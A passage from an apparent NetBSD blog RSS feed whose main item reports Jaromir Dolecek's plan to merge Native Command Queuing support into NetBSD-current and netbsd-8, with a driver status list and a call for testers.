&lt;a href=&quot;http://www.feyrer.de/g4u/#reqs&quot;&gt;the g4u homepage&apos;s download section&lt;/a&gt;
on how to get and use g4u.
&lt;p&gt;

Enjoy!

    </description>
  </item>
  <item>
    <title>Native Command Queuing - merging and testing</title>
    <link>http://www.feyrer.de/NetBSD/blog.html/nb_20170608_1404.html</link>
    <pubDate>Thu, 08 Jun 2017 14:13:00 GMT</pubDate>
    <description>
      
&lt;a href=&quot;https://en.wikipedia.org/wiki/Native_Command_Queuing&quot;&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/4/4a/NCQ.svg/300px-NCQ.svg.png&quot; align=&quot;right&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;
Jaromir Dolecek has worked on NCQ and is looking for
testers in context of merging the development branch
into NetBSD-current. 
&lt;p&gt;

What is NCQ? According to
&lt;a href=&quot;https://en.wikipedia.org/wiki/Native_Command_Queuing&quot;&gt;Wikipedia&lt;/a&gt;, 
``&lt;i&gt;Native Command Queuing (NCQ) is an extension of the Serial ATA protocol allowing hard disk drives to internally optimize the order in which received read and write commands are executed. This can reduce the amount of unnecessary drive head movement, resulting in increased performance (and slightly decreased wear of the drive) for workloads where multiple simultaneous read/write requests are outstanding, most often occurring in server-type applications.&lt;/i&gt;&apos;&apos;
&lt;p&gt;

Jaromir 
&lt;a href=&quot;http://mail-index.netbsd.org/tech-kern/2017/06/08/msg021960.html&quot;&gt;writes to tech-kern&lt;/a&gt;:
``&lt;i&gt;I plan to merge the branch to HEAD very soon, likely over the weekend. Eventual further fixes will be done on HEAD already, including mvsata(4) restabilization, and potential switch of siisata(4) to support NCQ.
&lt;p&gt;

The plan is to get this pulled up to netbsd-8 branch soon also, so that it will be part of 8.0.
&lt;p&gt;

Status:
&lt;ul&gt;
&lt;li&gt; ahci(4) fully working with NCQ (confirmed with qemu, and real hw)
&lt;li&gt; piixide(4) continues working (no NCQ support of course) (confirmed in qemu)
&lt;li&gt; siisata(4) continues working (without NCQ still) (confirmed with real hw)
&lt;li&gt; mvsata(4) not yet confirmed working after changes, mainly due the DMA not really working on Marvell 88SX6042 which I have available - I have same issue as kern/52126
&lt;li&gt; other ide/sata drivers received mechanical changes, should continue working as before&lt;/i&gt;&apos;&apos;
&lt;/ul&gt;

Testing and feedback of success or suggestions for improvemenbt
are always welcome - please send your report!

    </description>
  </item>
  </channel>
</rss>
